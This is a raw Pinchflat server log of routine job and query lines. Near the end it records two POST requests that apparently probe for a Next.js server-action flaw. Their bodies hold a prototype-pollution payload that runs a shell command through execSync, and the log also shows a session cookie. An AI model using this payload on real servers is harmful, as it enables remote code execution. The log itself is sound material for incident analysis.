{"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.455 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:45:17.899 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:47.900 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.455 [info] {"source":"oban","duration":114,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:46:17.901 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:47.903 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.456 [info] {"source":"oban","duration":201,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:47:17.904 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:47.905 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.457 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:48:17.906 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:47.907 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.458 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:49:17.908 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:47.909 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.459 [info] {"source":"oban","duration":188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:50:17.911 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:47.913 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.460 [info] {"source":"oban","duration":178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:51:17.915 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:47.916 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.461 [info] {"source":"oban","duration":173,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:52:17.917 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:47.918 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.462 [info] {"source":"oban","duration":186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:53:17.919 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:47.921 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.463 [info] {"source":"oban","duration":167,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:54:17.923 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:47.924 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.464 [info] {"source":"oban","duration":171,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:55:17.925 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:47.926 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.465 [info] {"source":"oban","duration":95,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:56:17.928 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:47.929 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.467 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:57:17.931 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:47.933 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.467 [info] {"source":"oban","duration":190,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:58:17.935 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:47.936 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.468 [info] {"source":"oban","duration":182,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:59:17.937 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:47.938 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.470 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:00:17.940 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:47.941 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.470 [info] {"source":"oban","duration":178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:01:17.942 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:47.943 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.472 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:02:17.944 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:47.945 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.472 [info] {"source":"oban","duration":203,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:03:17.946 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:47.948 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.473 [info] {"source":"oban","duration":190,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:04:17.949 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:47.950 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.475 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:05:17.951 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:47.953 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.475 [info] {"source":"oban","duration":175,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:06:17.954 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:47.956 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.477 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:07:17.958 [info] {"source":"oban","duration":1709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:47.959 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.478 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:08:17.960 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:47.961 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.478 [info] {"source":"oban","duration":178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:09:17.962 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:47.964 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.479 [info] {"source":"oban","duration":161,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:10:05.196 [info] GET / 02:10:05.196 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 02:10:05.197 [debug] QUERY OK source="settings" db=0.5ms idle=1471.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.197 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=1472.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 02:10:05.198 [debug] QUERY OK source="sources" db=0.1ms idle=1473.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 02:10:05.198 [debug] QUERY OK source="media_items" db=0.4ms idle=1262.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:10:05.199 [debug] QUERY OK source="media_items" db=0.1ms idle=261.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:10:05.199 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.200 [debug] QUERY OK source="settings" db=0.2ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.201 [debug] QUERY OK source="settings" db=0.3ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.202 [debug] QUERY OK source="tasks" db=0.3ms idle=2.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 02:10:05.202 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:10:05.202 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:10:05.203 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:10:05.203 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 02:10:05.204 [debug] QUERY OK source="media_items" db=0.1ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 02:10:05.205 [debug] QUERY OK source="media_items" db=0.4ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:10:05.205 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 02:10:05.206 [info] Sent 200 in 10ms 02:10:05.452 [info] POST / 02:10:05.453 [debug] QUERY OK source="settings" db=0.1ms idle=249.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.453 [debug] QUERY OK source="settings" db=0.1ms idle=249.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.453 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:05.454 [error] #PID<0.3306.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "748", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundary0608ca2d955e472e", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "POST", body_length: 748, path_info: :undefined, qs: "", has_body: true, streamid: 2, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "POST", owner: #PID<0.3306.0>, params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, path_info: [], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"content-length", "748"}, {"content-type", "multipart/form-data; boundary=--------WebKitFormBoundary0608ca2d955e472e"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk59UODppXfK0AAQBB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "748", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundary0608ca2d955e472e", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "POST", body_length: 748, path_info: :undefined, qs: "", has_body: true, streamid: 2, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.t (truncated) 02:10:05.550 [info] POST / 02:10:05.552 [debug] QUERY OK source="settings" db=0.5ms idle=346.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.552 [debug] QUERY OK source="settings" db=0.3ms idle=346.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.553 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:05.553 [error] #PID<0.3307.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 3) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "860", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundary11a6d5f74480423e", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => 